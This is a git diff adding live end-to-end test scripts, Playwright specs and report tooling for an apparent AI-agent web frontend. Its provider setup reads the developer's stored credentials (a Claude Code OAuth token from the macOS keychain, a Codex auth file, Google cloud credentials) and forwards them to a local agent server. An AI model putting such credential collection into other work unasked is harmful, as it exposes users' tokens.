+  /** ACP registry key sent as acp_server. */
+  acpServer: string;
+  /** acp_model to send (a model the account/Vertex project supports). */
+  model: string;
+  expectedToken: string;
+  /** Container-credential map (name -> value) or null when creds are missing. */
+  collectSecrets: () => Record<string, string> | null;
+  /**
+   * Optional ``acp_session_mode`` override (env-driven). Canvas itself sends
+   * none — the SDK then uses the provider's registry default. For Gemini that
+   * default (``yolo``) makes gemini-cli ≥0.43 error on ``set_session_mode``
+   * during headless init (an SDK/gemini-cli issue, not a credential one); set
+   * ``ACP_E2E_GEMINI_SESSION_MODE=default`` to confirm the credential path
+   * end-to-end past that blocker.
+   */
+  sessionMode?: string;
+}
+
+function readFileTrimmed(file: string): string | null {
+  try {
+    const value = readFileSync(file, "utf-8");
+    return value.trim().length > 0 ? value : null;
+  } catch {
+    return null;
+  }
+}
+
+function claudeOAuthToken(): string | null {
+  // macOS keychain entry written by Claude Code on login. On other platforms
+  // (no `security` binary) this throws into the catch → null → the runner
+  // reports the provider as "SKIP — credentials not present on host".
+  try {
+    const raw = execFileSync(
+      "security",
+      ["find-generic-password", "-s", "Claude Code-credentials", "-w"],
+      { encoding: "utf-8" },
+    );
+    const token = JSON.parse(raw)?.claudeAiOauth?.accessToken;
+    return typeof token === "string" && token.length > 0 ? token : null;
+  } catch {
+    return null;
+  }
+}
+
+function gcloudProject(): string | null {
+  try {
+    return (
+      execFileSync("gcloud", ["config", "get-value", "project"], {
+        encoding: "utf-8",
+      }).trim() || null
+    );
+  } catch {
+    return null;
+  }
+}
+
+export const PROVIDER_PLANS: ProviderPlan[] = [
+  {
+    id: "codex",
+    acpServer: "codex",
+    model: process.env.ACP_E2E_CODEX_MODEL ?? "gpt-5.5/medium",
+    expectedToken: "ACPOK-CODEX",
+    collectSecrets: () => {
+      const auth = readFileTrimmed(path.join(homedir(), ".codex", "auth.json"));
+      return auth ? { CODEX_AUTH_JSON: auth } : null;
+    },
+  },
+  {
+    id: "claude",
+    acpServer: "claude-code",
+    model: process.env.ACP_E2E_CLAUDE_MODEL ?? "claude-opus-4-7",
+    expectedToken: "ACPOK-CLAUDE",
+    collectSecrets: () => {
+      const token = claudeOAuthToken();
+      // NB: deliberately NOT setting ANTHROPIC_BASE_URL — an inherited base URL
+      // breaks the OAuth token's bearer auth.
+      return token ? { CLAUDE_CODE_OAUTH_TOKEN: token } : null;
+    },
+  },
+  {
+    id: "gemini",
+    acpServer: "gemini-cli",
+    model: process.env.ACP_E2E_GEMINI_MODEL ?? "gemini-2.5-pro",
+    expectedToken: "ACPOK-GEMINI",
+    collectSecrets: () => {
+      const adc = readFileTrimmed(
+        path.join(
+          homedir(),
+          ".config",
+          "gcloud",
+          "application_default_credentials.json",
+        ),
+      );
+      const project = process.env.GOOGLE_CLOUD_PROJECT ?? gcloudProject();
+      if (!adc || !project) return null;
+      return {
+        GOOGLE_APPLICATION_CREDENTIALS_JSON: adc,
+        GOOGLE_CLOUD_PROJECT: project,
+        GOOGLE_CLOUD_LOCATION:
+          process.env.GOOGLE_CLOUD_LOCATION ?? "us-central1",
+        GOOGLE_GENAI_USE_VERTEXAI: "true",
+      };
+    },
+    sessionMode: process.env.ACP_E2E_GEMINI_SESSION_MODE,
+  },
+];
+
+export function getProviderPlan(id: string): ProviderPlan | undefined {
+  return PROVIDER_PLANS.find((plan) => plan.id === id);
+}
+
+export async function postJson(url: string, body: unknown): Promise<any> {
+  const res = await fetch(url, {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify(body),
+  });
+  const text = await res.text();
+  if (!res.ok) {
+    throw new Error(`POST ${url} -> ${res.status}: ${text.slice(0, 800)}`);
+  }
+  return text ? JSON.parse(text) : null;
+}
+
+export async function getJson(url: string): Promise<any> {
+  const res = await fetch(url);
+  const text = await res.text();
+  if (!res.ok) {
+    throw new Error(`GET ${url} -> ${res.status}: ${text.slice(0, 400)}`);
+  }
+  return text ? JSON.parse(text) : null;
+}
+
+// Terminal states for a single-turn run. NB: "idle" is deliberately NOT here —
+// a freshly-created conversation reports "idle" before the agent starts, so
+// treating it as terminal bails out before the reply exists. Wait for the run
+// to actually finish (or error/stuck).
+const TERMINAL = new Set(["finished", "error", "stuck", "stopped"]);
+
+/** Poll the conversation until a terminal state (or timeout); returns the last
+ * observed ``execution_status``. */
+export async function pollUntilTerminal(conversationId: string): Promise<string> {
+  const deadline = Date.now() + POLL_TIMEOUT_MS;
+  let status = "";
+  while (Date.now() < deadline) {
+    const info = await getJson(`${BASE}/api/conversations/${conversationId}`);
+    status = String(info.execution_status ?? "").toLowerCase();
+    if (TERMINAL.has(status)) break;
+    await new Promise((r) => setTimeout(r, 2500));
+  }
+  return status;
+}
+
+/** Fetch the agent's final response as a plain string. */
+export async function fetchFinalReply(conversationId: string): Promise<string> {
+  const final = await getJson(
+    `${BASE}/api/conversations/${conversationId}/agent_final_response`,
+  );
+  return typeof final === "string"
+    ? final
+    : String(final?.response ?? final?.content ?? JSON.stringify(final));
+}
diff --git a/tests/e2e/live-acp/vite-node.config.mts b/tests/e2e/live-acp/vite-node.config.mts
new file mode 100644
index 0000000000000000000000000000000000000000..1e0ea24608bbc55626fb32b9bc037da29bebf11e
--- /dev/null
+++ b/tests/e2e/live-acp/vite-node.config.mts
@@ -0,0 +1,18 @@
+import { fileURLToPath } from "node:url";
+import { defineConfig } from "vite";
+
+// Minimal config so `vite-node` can run the live ACP e2e script outside the
+// app's full Vite/React-Router pipeline. We only need the `#/*` → `src/*` path
+// alias (the app resolves it via tsconfig-paths, which vite-node doesn't load)
+// and to inline the typescript-client so its ESM resolves the same way Vitest
+// configures it.
+const srcDir = fileURLToPath(new URL("../../../src", import.meta.url));
+
+export default defineConfig({
+  resolve: {
+    alias: [{ find: /^#\//, replacement: `${srcDir}/` }],
+  },
+  ssr: {
+    noExternal: ["@openhands/typescript-client"],
+  },
+});
diff --git a/tests/e2e/live/real-agent-server-conversation.spec.ts b/tests/e2e/live/real-agent-server-conversation.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..85f9946d3c223ef80b6043da62f14c66f20430bf
--- /dev/null
+++ b/tests/e2e/live/real-agent-server-conversation.spec.ts
@@ -0,0 +1,193 @@
+import { test, type APIRequestContext } from "@playwright/test";
+
+import {
+  BACKEND_URL,
+  clickButtonByTestId,
+  configureLiveAgentServer,
+  createLiveConversation,
+  deleteLiveLlmProfile,
+  dismissAnalyticsModal,
+  enableLiveE2EFlags,
+  EXPECTED_BASH_COMMAND,
+  EXPECTED_BASH_OUTPUT_TOKEN,
+  EXPECTED_REPLY_TOKEN,
+  expandVisibleEventDetails,
+  fillChatInput,
+  getLiveArtifactMask,
+  getOptionalConversationIdFromURL,
+  guardAgainstPostHogRequests,
+  hasLiveLLMConfig,
+  missingLiveLLMConfigMessage,
+  routeBackendSessionApiKey,
+  sessionApiKey,
+  waitForAgentReply,
+  waitForCriticResultDisplay,
+  waitForCriticResultEvent,
+  waitForNonUserMessageText,
+  waitForSuccessfulBashObservation,
+  waitForTestId,
+} from "./utils/agent-server-conversation";
+
+test.describe("live Agent Server terminal conversation", () => {
+  const createdConversationIds = new Set<string>();
+
+  async function deleteConversation(
+    request: APIRequestContext,
+    conversationId: string,
+  ) {
+    const response = await request.delete(
+      `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId)}`,
+      {
+        headers: {
+          "X-Session-API-Key": sessionApiKey,
+        },
+      },
+    );
+    if (response.ok() || response.status() === 404) {
+      createdConversationIds.delete(conversationId);
+      return;
+    }
+
+    throw new Error(
+      `Failed to clean up live E2E conversation ${conversationId}: ${response.status()}`,
+    );
+  }
+
+  async function cleanupKnownConversations(request: APIRequestContext) {
+    const cleanupErrors: string[] = [];
+
+    for (const conversationId of Array.from(createdConversationIds)) {
+      try {
+        await deleteConversation(request, conversationId);
+      } catch (error) {
+        cleanupErrors.push(
+          error instanceof Error ? error.message : String(error),
+        );
+      }
+    }
+
+    if (cleanupErrors.length > 0) {
+      throw new Error(cleanupErrors.join("\n"));
+    }
+  }
+
+  test.beforeEach(async ({ page }) => {
+    await enableLiveE2EFlags(page);
+  });
+
+  test.afterEach(async ({ page, request }) => {
+    const conversationId = getOptionalConversationIdFromURL(page);
+    if (conversationId) {
+      createdConversationIds.add(conversationId);
+    }
+
+    await cleanupKnownConversations(request);
+    await deleteLiveLlmProfile(request);
+  });
+
+  test.afterAll(async ({ request }) => {
+    await cleanupKnownConversations(request);
+    await deleteLiveLlmProfile(request);
+  });
+
+  test("runs a real LLM-backed Agent Server terminal conversation through the UI", async ({
+    page,
+    request,
+  }, testInfo) => {
+    test.skip(!hasLiveLLMConfig, missingLiveLLMConfigMessage);
+
+    await configureLiveAgentServer(request);
+    const conversationId = await createLiveConversation(request);
+    createdConversationIds.add(conversationId);
+    await routeBackendSessionApiKey(page);
+    const postHogGuard = await guardAgainstPostHogRequests(page);
+
+    await page.goto(`/conversations/${conversationId}`, {
+      waitUntil: "domcontentloaded",
+    });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "app-route");
+    await waitForTestId(page, "chat-interface");
+    await waitForTestId(page, "interactive-chat-box");
+
+    await fillChatInput(
+      page,
+      [
+        "Use the terminal/bash tool exactly once.",
+        `Run this exact command: ${EXPECTED_BASH_COMMAND}`,
+        `After the command succeeds, reply with exactly this token and then finish: ${EXPECTED_REPLY_TOKEN}`,
+        "Do not use any other tools. Do not add any other text in the final reply.",
+      ].join("\n"),
+    );
+    await clickButtonByTestId(page, "submit-button");
+
+    await waitForAgentReply(page);
+    await waitForSuccessfulBashObservation(request, conversationId);
+    await expandVisibleEventDetails(page);
+    await waitForNonUserMessageText(page, EXPECTED_BASH_OUTPUT_TOKEN);
+
+    const screenshotPath = testInfo.outputPath("live-agent-response.png");
+    await page.getByTestId("chat-interface").screenshot({
+      path: screenshotPath,
+      mask: getLiveArtifactMask(page),
+    });
+    await testInfo.attach("live-agent-response", {
+      path: screenshotPath,
+      contentType: "image/png",
+    });
+
+    await postHogGuard.expectNoRequests();
+  });
+
+  test("renders critic evaluation results for a real LLM-backed conversation", async ({
+    page,
+    request,
+  }, testInfo) => {
+    test.skip(!hasLiveLLMConfig, missingLiveLLMConfigMessage);
+    test.setTimeout(240_000);
+
+    await configureLiveAgentServer(request, { enableCritic: true });
+    const conversationId = await createLiveConversation(request, {
+      enableCritic: true,
+    });
+    createdConversationIds.add(conversationId);
+    await routeBackendSessionApiKey(page);
+    const postHogGuard = await guardAgainstPostHogRequests(page);
+
+    await page.goto(`/conversations/${conversationId}`, {
+      waitUntil: "domcontentloaded",
+    });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "app-route");
+    await waitForTestId(page, "chat-interface");
+    await waitForTestId(page, "interactive-chat-box");
+
+    await fillChatInput(
+      page,
+      [
+        "Use the terminal/bash tool exactly once.",
+        `Run this exact command: ${EXPECTED_BASH_COMMAND}`,
+        `After the command succeeds, reply with exactly this token and then finish: ${EXPECTED_REPLY_TOKEN}`,
+        "Do not use any other tools. Do not add any other text in the final reply.",
+      ].join("\n"),
+    );
+    await clickButtonByTestId(page, "submit-button");
+
+    await waitForAgentReply(page);
+    await waitForSuccessfulBashObservation(request, conversationId);
+    await waitForCriticResultEvent(request, conversationId);
+    await waitForCriticResultDisplay(page);
+
+    const screenshotPath = testInfo.outputPath("live-critic-result.png");
+    await page.getByTestId("chat-interface").screenshot({
+      path: screenshotPath,
+      mask: getLiveArtifactMask(page),
+    });
+    await testInfo.attach("live-critic-result", {
+      path: screenshotPath,
+      contentType: "image/png",
+    });
+
+    await postHogGuard.expectNoRequests();
+  });
+});
diff --git a/tests/e2e/live/scripts/extract-live-e2e-media.mjs b/tests/e2e/live/scripts/extract-live-e2e-media.mjs
new file mode 100644
index 0000000000000000000000000000000000000000..5a5dd82695b3933369e06ded059dc6c9f1d044ef
--- /dev/null
+++ b/tests/e2e/live/scripts/extract-live-e2e-media.mjs
@@ -0,0 +1,243 @@
+#!/usr/bin/env node
+
+import {
+  copyFileSync,
+  existsSync,
+  lstatSync,
+  mkdirSync,
+  readFileSync,
+  readdirSync,
+  realpathSync,
+  writeFileSync,
+} from "node:fs";
+import {
+  dirname,
+  extname,
+  isAbsolute,
+  join,
+  relative,
+  resolve,
+} from "node:path";
+
+function parseArgs(argv) {
+  const args = {};
+  for (let index = 0; index < argv.length; index += 1) {
+    const arg = argv[index];
+    if (!arg.startsWith("--")) {
+      continue;
+    }
+
+    const [rawKey, inlineValue] = arg.slice(2).split("=", 2);
+    const key = rawKey.replaceAll("-", "_");
+    if (inlineValue !== undefined) {
+      args[key] = inlineValue;
+      continue;
+    }
+
+    const next = argv[index + 1];
+    if (next && !next.startsWith("--")) {
+      args[key] = next;
+      index += 1;
+    } else {
+      args[key] = "";
+    }
+  }
+  return args;
+}
+
+function assertWithinCwd(label, path) {
+  const relativePath = relative(realpathSync(resolve(".")), path);
+  if (relativePath.startsWith("..") || isAbsolute(relativePath)) {
+    throw new Error(`${label} must be within the current working directory.`);
+  }
+}
+
+function nearestExistingPath(path) {
+  let currentPath = path;
+  while (!existsSync(currentPath)) {
+    const parentPath = dirname(currentPath);
+    if (parentPath === currentPath) {
+      throw new Error(`No existing parent found for ${path}`);
+    }
+    currentPath = parentPath;
+  }
+  return currentPath;
+}
+
+function resolveWithinCwd(label, filePath, options = {}) {
+  const resolvedPath = resolve(filePath);
+  assertWithinCwd(label, resolvedPath);
+
+  if (existsSync(resolvedPath)) {
+    assertWithinCwd(label, realpathSync(resolvedPath));
+    return resolvedPath;
+  }
+
+  if (options.mustExist) {
+    throw new Error(`${label} does not exist: ${resolvedPath}`);
+  }
+
+  const existingParent = nearestExistingPath(dirname(resolvedPath));
+  const checkedPath = resolve(
+    realpathSync(existingParent),
+    relative(existingParent, resolvedPath),
+  );
+  assertWithinCwd(label, checkedPath);
+  return resolvedPath;
+}
+
+function readJson(path) {
+  if (!path || !existsSync(path)) {
+    return null;
+  }
+  try {
+    return JSON.parse(readFileSync(path, "utf8"));
+  } catch (error) {
+    return { error: error instanceof Error ? error.message : String(error) };
+  }
+}
+
+function collectPlaywrightAttachments(results) {
+  const attachments = [];
+
+  function visitSuites(suites) {
+    for (const suite of suites ?? []) {
+      for (const spec of suite.specs ?? []) {
+        for (const test of spec.tests ?? []) {
+          for (const result of test.results ?? []) {
+            attachments.push(...(result.attachments ?? []));
+          }
+        }
+      }
+      visitSuites(suite.suites);
+    }
+  }
+
+  visitSuites(results?.suites);
+  return attachments
+    .map((attachment) => ({
+      contentType: attachment.contentType || "",
+      path: resolveExistingMediaPath("attachment", attachment.path || ""),
+    }))
+    .filter((attachment) => attachment.path);
+}
+
+function resolveExistingMediaPath(label, path) {
+  if (!path) {
+    return "";
+  }
+
+  try {
+    return resolveWithinCwd(label, path, { mustExist: true });
+  } catch {
+    return "";
+  }
+}
+
+function collectFiles(dir) {
+  const safeDir = resolveExistingMediaPath("dir", dir);
+  if (!safeDir) {
+    return [];
+  }
+
+  const files = [];
+  for (const entry of readdirSync(safeDir)) {
+    const path = join(safeDir, entry);
+    const stat = lstatSync(path);
+    if (stat.isSymbolicLink()) {
+      continue;
+    }
+    if (stat.isDirectory()) {
+      files.push(...collectFiles(path));
+    } else if (stat.isFile()) {
+      files.push(path);
+    }
+  }
+  return files;
+}
+
+function isImage(path, contentType = "") {
+  return (
+    contentType.startsWith("image/") || /\.(gif|jpe?g|png|svg)$/i.test(path)
+  );
+}
+
+function isVideo(path, contentType = "") {
+  return contentType.startsWith("video/") || /\.(mp4|mov|webm)$/i.test(path);
+}
+
+function copyMedia(sourcePath, outputDir, targetBase, fallbackExt) {
+  if (!sourcePath) {
+    return "";
+  }
+
+  const safeSourcePath = resolveWithinCwd("media source", sourcePath, {
+    mustExist: true,
+  });
+  mkdirSync(outputDir, { recursive: true });
+  const ext = extname(safeSourcePath) || fallbackExt;
+  const targetPath = join(outputDir, `${targetBase}${ext}`);
+  copyFileSync(safeSourcePath, targetPath);
+  return targetPath;
+}
+
+function writeOutput(key, value) {
+  const outputPath = process.env.GITHUB_OUTPUT;
+  if (outputPath) {
+    const escaped = String(value).replaceAll("\n", "%0A");
+    writeFileSync(outputPath, `${key}=${escaped}\n`, { flag: "a" });
+  }
+  console.log(`${key}=${value}`);
+}
+
+async function main() {
+  const args = parseArgs(process.argv.slice(2));
+  const resultsPath = resolveWithinCwd(
+    "results",
+    args.results || "test-results-live/results.json",
+  );
+  const testResultsDir = resolveWithinCwd(
+    "test-results-dir",
+    args.test_results_dir || "test-results-live",
+  );
+  const outputDir = resolveWithinCwd(
+    "output-dir",
+    args.output_dir || "test-results-live/media",
+  );
+  const results = readJson(resultsPath);
+
+  const attachments = collectPlaywrightAttachments(results);
+  const files = collectFiles(testResultsDir).map((path) => ({
+    contentType: "",
+    path,
+  }));
+  const candidates = [...attachments, ...files];
+
+  const screenshot = candidates.find((candidate) =>
+    isImage(candidate.path, candidate.contentType),
+  );
+  const video = candidates.find((candidate) =>
+    isVideo(candidate.path, candidate.contentType),
+  );
+
+  const screenshotPath = copyMedia(
+    screenshot?.path,
+    outputDir,
+    "live-agent-response",
+    ".png",
+  );
+  const videoPath = copyMedia(
+    video?.path,
+    outputDir,
+    "live-agent-recording",
+    ".webm",
+  );
+
+  writeOutput("screenshot_path", screenshotPath);
+  writeOutput("video_path", videoPath);
+}
+
+main().catch((error) => {
+  console.error(error instanceof Error ? error.message : String(error));
+  process.exit(1);
+});
diff --git a/tests/e2e/live/scripts/render-live-e2e-report.mjs b/tests/e2e/live/scripts/render-live-e2e-report.mjs
new file mode 100644
index 0000000000000000000000000000000000000000..27451ee4a641cb955c5acdeb433b6f97f460c531
--- /dev/null
+++ b/tests/e2e/live/scripts/render-live-e2e-report.mjs
@@ -0,0 +1,487 @@
+#!/usr/bin/env node
+
+import { existsSync, readFileSync, realpathSync, writeFileSync } from "node:fs";
+import { dirname, isAbsolute, relative, resolve } from "node:path";
+
+const DEFAULT_MARKER = "<!-- agent-canvas-live-e2e-report -->";
+
+function parseArgs(argv) {
+  const args = {};
+  for (let index = 0; index < argv.length; index += 1) {
+    const arg = argv[index];
+    if (!arg.startsWith("--")) {
+      continue;
+    }
+
+    const [rawKey, inlineValue] = arg.slice(2).split("=", 2);
+    const key = rawKey.replaceAll("-", "_");
+    if (inlineValue !== undefined) {
+      args[key] = inlineValue;
+      continue;
+    }
+
+    const next = argv[index + 1];
+    if (next && !next.startsWith("--")) {
+      args[key] = next;
+      index += 1;
+    } else {
+      args[key] = "";
+    }
+  }
+  return args;
+}
+
+function assertWithinCwd(label, path) {
+  const relativePath = relative(realpathSync(resolve(".")), path);
+  if (relativePath.startsWith("..") || isAbsolute(relativePath)) {
+    throw new Error(`${label} must be within the current working directory.`);
+  }
+}
+
+function nearestExistingPath(path) {
+  let currentPath = path;
+  while (!existsSync(currentPath)) {
+    const parentPath = dirname(currentPath);
+    if (parentPath === currentPath) {
+      throw new Error(`No existing parent found for ${path}`);
+    }
+    currentPath = parentPath;
+  }
+  return currentPath;
+}
+
+function resolveWithinCwd(label, filePath, options = {}) {
+  const resolvedPath = resolve(filePath);
+  if (existsSync(resolvedPath)) {
+    assertWithinCwd(label, realpathSync(resolvedPath));
+    return resolvedPath;
+  }
+
+  if (options.mustExist) {
+    throw new Error(`${label} does not exist: ${resolvedPath}`);
+  }
+
+  const existingParent = nearestExistingPath(dirname(resolvedPath));
+  const checkedPath = resolve(
+    realpathSync(existingParent),
+    relative(existingParent, resolvedPath),
+  );
+  assertWithinCwd(label, checkedPath);
+  return resolvedPath;
+}
+
+function readJson(path) {
+  if (!path) {
+    return null;
+  }
+
+  try {
+    return JSON.parse(readFileSync(path, "utf8"));
+  } catch (error) {
+    return {
+      error: error instanceof Error ? error.message : String(error),
+    };
+  }
+}
+
+function collectSpecs(suites, parents = []) {
+  const specs = [];
+  for (const suite of suites ?? []) {
+    const titles = [...parents, suite.title].filter(Boolean);
+    for (const spec of suite.specs ?? []) {
+      for (const test of spec.tests ?? []) {
+        const results = test.results ?? [];
+        const lastResult = results.at(-1);
+        const duration = results.reduce(
+          (total, result) => total + (Number(result.duration) || 0),
+          0,
+        );
+        specs.push({
+          title: [...titles, spec.title].filter(Boolean).join(" > "),
+          project: test.projectName || "",
+          status: lastResult?.status ?? (spec.ok ? "passed" : "unknown"),
+          durationMs: duration,
+          retryCount: Math.max(0, results.length - 1),
+          attachments: collectAttachments(results),
+          error: formatError(lastResult),
+        });
+      }
+    }
+    specs.push(...collectSpecs(suite.suites, titles));
+  }
+  return specs;
+}
+
+function collectAttachments(results) {
+  return results.flatMap((result) =>
+    (result.attachments ?? [])
+      .filter((attachment) => attachment.path || attachment.name)
+      .map((attachment) => ({
+        name: attachment.name || "attachment",
+        contentType: attachment.contentType || "",
+        path: displayAttachmentPath(attachment.path || ""),
+      })),
+  );
+}
+
+function formatError(result) {
+  const errorMessages = Array.isArray(result?.errors)
+    ? result.errors
+        .map((error) => error.message)
+        .filter(Boolean)
+        .join("\n\n")
+    : "";
+  const message = result?.error?.message ?? errorMessages;
+  return sanitizeForComment(message).slice(0, 2000);
+}
+
+function sanitizeForComment(value) {
+  return stripAnsi(value)
+    .replaceAll("@OpenHands", "@\u200BOpenHands")
+    .replaceAll("@openhands", "@\u200Bopenhands");
+}
+
+function stripAnsi(value) {
+  return String(value).replace(/\u001B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])/g, "");
+}
+
+function escapeCell(value) {
+  return sanitizeForComment(value)
+    .replaceAll("|", "\\|")
+    .replaceAll("\n", "<br>");
+}
+
+function escapeCodeCell(value) {
+  return escapeCell(value).replaceAll("`", "\\`");
+}
+
+function displayAttachmentPath(path) {
+  const normalizedPath = sanitizeForComment(path).replaceAll("\\", "/");
+  for (const anchor of ["test-results-live/", "playwright-report-live/"]) {
+    const index = normalizedPath.indexOf(anchor);
+    if (index >= 0) {
+      return normalizedPath.slice(index);
+    }
+  }
+  return normalizedPath;
+}
+
+function formatDuration(ms) {
+  if (!Number.isFinite(ms) || ms <= 0) {
+    return "--";
+  }
+
+  const seconds = ms / 1000;
+  if (seconds < 60) {
+    return `${seconds.toFixed(1)}s`;
+  }
+
+  const rounded = Math.round(seconds);
+  const minutes = Math.floor(rounded / 60);
+  const remainingSeconds = rounded % 60;
+  return `${minutes}m ${remainingSeconds}s`;
+}
+
+function formatStatus(status) {
+  switch (status) {
+    case "running":
+      return "Running";
+    case "passed":
+      return "Passed";
+    case "failed":
+      return "Failed";
+    case "skipped":
+      return "Skipped";
+    case "timedOut":
+      return "Timed out";
+    default:
+      return status ? status[0].toUpperCase() + status.slice(1) : "Unknown";
+  }
+}
+
+function inferOverallStatus(requestedStatus, stats) {
+  if (requestedStatus && requestedStatus !== "auto") {
+    return requestedStatus;
+  }
+  if (!stats) {
+    return "unknown";
+  }
+  if ((stats.unexpected ?? 0) > 0 || (stats.interrupted ?? 0) > 0) {
+    return "failed";
+  }
+  if ((stats.expected ?? 0) > 0 || (stats.flaky ?? 0) > 0) {
+    return "passed";
+  }
+  return "skipped";
+}
+
+function buildSummary(results, status, reason) {
+  const stats = results?.stats;
+  const specs = collectSpecs(results?.suites);
+  const passed = specs.filter((spec) => spec.status === "passed").length;
+  const failed = specs.filter((spec) =>
+    ["failed", "timedOut", "interrupted"].includes(spec.status),
+  ).length;
+  const skipped = specs.filter((spec) => spec.status === "skipped").length;
+  const durationMs =
+    Number(stats?.duration) ||
+    specs.reduce((total, spec) => total + spec.durationMs, 0);
+
+  return {
+    status,
+    reason,
+    specs,
+    passed,
+    failed,
+    skipped,
+    total: specs.length,
+    durationMs,
+  };
+}
+
+function metadataLines(args) {
+  const lines = [];
+  if (args.model) {
+    lines.push(`- Model: \`${sanitizeForComment(args.model)}\``);
+  }
+  if (args.commit) {
+    lines.push(`- Commit: \`${sanitizeForComment(args.commit)}\``);
+  }
+  if (args.workflow_url) {
+    lines.push(
+      `- Workflow run: [open run](${sanitizeForComment(args.workflow_url)})`,
+    );
+  }
+  if (args.artifact_url) {
+    lines.push(
+      `- Artifacts: [Playwright report, videos, screenshots](${sanitizeForComment(args.artifact_url)})`,
+    );
+  }
+  if (args.timestamp) {
+    lines.push(`- Generated: ${sanitizeForComment(args.timestamp)}`);
+  }
+  return lines;
+}
+
+function testTable(specs) {
+  const lines = [
+    "| Test | Project | Status | Duration | Retries |",
+    "|------|---------|--------|----------|---------|",
+  ];
+  for (const spec of specs) {
+    lines.push(
+      `| ${escapeCell(spec.title)} | ${escapeCell(spec.project)} | ${formatStatus(
+        spec.status,
+      )} | ${formatDuration(spec.durationMs)} | ${spec.retryCount} |`,
+    );
+  }
+  if (specs.length === 0) {
+    lines.push(
+      "| _No Playwright test result JSON found_ | -- | -- | -- | -- |",
+    );
+  }
+  return lines;
+}
+
+function failureDetails(specs) {
+  const failures = specs.filter((spec) => spec.error);
+  if (failures.length === 0) {
+    return [];
+  }
+
+  const lines = ["", "### Failures", ""];
+  for (const failure of failures) {
+    lines.push(`<details><summary>${escapeCell(failure.title)}</summary>`);
+    lines.push("");
+    lines.push("```text");
+    lines.push(failure.error);
+    lines.push("```");
+    lines.push("");
+    lines.push("</details>");
+    lines.push("");
+  }
+  return lines;
+}
+
+function attachmentRows(specs) {
+  return specs.flatMap((spec) =>
+    (spec.attachments ?? []).map((attachment) => ({
+      test: spec.title,
+      ...attachment,
+    })),
+  );
+}
+
+function isVideoAttachment(attachment) {
+  return (
+    attachment.contentType.startsWith("video/") ||
+    /\.(mp4|mov|webm)$/i.test(attachment.path)
+  );
+}
+
+function isImageAttachment(attachment) {
+  return (
+    attachment.contentType.startsWith("image/") ||
+    /\.(gif|jpe?g|png|svg)$/i.test(attachment.path)
+  );
+}
+
+function evidenceDetails(specs, args) {
+  const attachments = attachmentRows(specs);
+  const videos = attachments.filter(isVideoAttachment);
+  const images = attachments.filter(isImageAttachment);
+
+  if (
+    attachments.length === 0 &&
+    !args.artifact_url &&
+    !args.video_url &&
+    !args.video_preview_url &&
+    !args.screenshot_url
+  ) {
+    return [];
+  }
+
+  const lines = [
+    "",
+    "<details>",
+    "<summary>View Playwright video and artifacts</summary>",
+    "",
+  ];
+
+  if (args.video_preview_url) {
+    lines.push(
+      "**Recorded video:**",
+      "",
+      `![Live Agent E2E recording](${sanitizeForComment(args.video_preview_url)})`,
+      "",
+    );
+    if (args.video_url) {
+      lines.push(
+        `[Open full WebM recording](${sanitizeForComment(args.video_url)})`,
+        "",
+      );
+    }
+  } else if (args.video_url) {
+    lines.push(sanitizeForComment(args.video_url), "");
+  } else if (videos.length > 0) {
+    lines.push(`**Recorded video:** \`${videos[0].path}\``);
+    if (args.artifact_url) {
+      lines.push("");
+      lines.push(
+        "The Playwright video is inside the uploaded artifact. GitHub Actions artifacts are downloadable archives, so they are linked here instead of embedded inline.",
+      );
+    }
+    lines.push("");
+  }
+
+  if (args.screenshot_url) {
+    lines.push(
+      `![Live Agent response](${sanitizeForComment(args.screenshot_url)})`,
+      "",
+    );
+  } else if (images.length > 0) {
+    lines.push(`**Screenshot:** \`${images[0].path}\``, "");
+  }
+
+  if (args.artifact_url) {
+    lines.push(
+      `- Full artifact: [Playwright report, videos, screenshots](${sanitizeForComment(args.artifact_url)})`,
+    );
+  }
+  lines.push(
+    "- HTML report path in artifact: `playwright-report-live/index.html`",
+  );
+  if (args.workflow_url) {
+    lines.push(
+      `- Workflow run: [open run](${sanitizeForComment(args.workflow_url)})`,
+    );
+  }
+  lines.push("");
+
+  if (
+    attachments.length > 0 &&
+    !args.video_url &&
+    !args.video_preview_url &&
+    !args.screenshot_url
+  ) {
+    lines.push(
+      "| Test | Attachment | Type | Location |",
+      "|------|------------|------|----------|",
+    );
+    for (const attachment of attachments) {
+      lines.push(
+        `| ${escapeCell(attachment.test)} | ${escapeCell(
+          attachment.name,
+        )} | ${escapeCell(attachment.contentType || "--")} | \`${escapeCodeCell(
+          attachment.path || "--",
+        )}\` |`,
+      );
+    }
+    lines.push("");
+  }
+
+  lines.push("</details>");
+  lines.push("");
+  return lines;
+}
+
+function buildReport(args) {
+  const resultsPath = args.results
+    ? resolveWithinCwd("results", args.results)
+    : null;
+  const results = readJson(resultsPath);
+  const status = inferOverallStatus(args.status, results?.stats);
+  const summary = buildSummary(results, status, args.reason);
+
+  const lines = [
+    args.marker || DEFAULT_MARKER,
+    "## Agent Canvas Live E2E",
+    "",
+    `**Status:** ${formatStatus(summary.status)}`,
+  ];
+
+  if (summary.reason) {
+    lines.push(`**Reason:** ${sanitizeForComment(summary.reason)}`);
+  }
+
+  lines.push(
+    `**Summary:** ${summary.passed}/${summary.total} passed, ${summary.failed} failed, ${summary.skipped} skipped, ${formatDuration(
+      summary.durationMs,
+    )} total`,
+    "",
+  );
+
+  const metadata = metadataLines(args);
+  if (metadata.length > 0) {
+    lines.push(...metadata, "");
+  }
+
+  if (summary.status === "running") {
+    lines.push(
+      "The live Agent Server E2E run is in progress. This comment will be updated with the final result.",
+    );
+    lines.push("");
+  }
+
+  if (results?.error) {
+    lines.push(
+      `_Could not read Playwright JSON results: ${sanitizeForComment(results.error)}_`,
+      "",
+    );
+  }
+
+  lines.push(...testTable(summary.specs));
+  lines.push(...evidenceDetails(summary.specs, args));
+  lines.push(...failureDetails(summary.specs));
+
+  return lines.join("\n").trimEnd() + "\n";
+}
+
+const args = parseArgs(process.argv.slice(2));
+const report = buildReport(args);
+
+if (args.output) {
+  writeFileSync(resolveWithinCwd("output", args.output), report);
+} else {
+  process.stdout.write(report);
+}
diff --git a/tests/e2e/live/scripts/run-live-e2e.mjs b/tests/e2e/live/scripts/run-live-e2e.mjs
new file mode 100644
index 0000000000000000000000000000000000000000..3baa23f9331511ae8960b311c10a8a32458adc39
--- /dev/null
